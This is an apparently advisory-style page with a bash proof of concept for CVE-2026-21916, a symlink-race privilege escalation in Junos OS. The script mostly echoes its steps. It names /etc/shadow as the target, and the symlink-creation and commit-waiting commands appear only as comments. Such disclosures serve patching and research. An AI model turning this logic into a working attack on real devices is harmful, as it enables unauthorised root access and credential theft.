CVE-2026-21916 Junos OS符号跟随本地提权漏洞

#!/bin/bash # PoC for CVE-2026-21916: Junos OS Symlink Following Privilege Escalation # Description: Demonstrates the logic of the symlink race condition. ATTACKER_USER="low_priv_user" TARGET_FILE="/etc/shadow" # Example target file MALICIOUS_LINK="/tmp/malicious_link" echo "[*] CVE-2026-21916 PoC Start" echo "[*] Step 1: Attacker creates a malicious symlink via CLI 'file link' command." # The attacker runs: file link $MALICIOUS_LINK $TARGET_FILE echo "[*] Step 2: Waiting for a privileged user to commit configuration changes..." # This step relies on social engineering or waiting for routine maintenance. # while true; do check_for_commit_activity; done echo "[*] Step 3: If the commit processes the symlink, privileges are escalated." echo "[+] Exploit logic complete. Attacker may now have root access." exit 0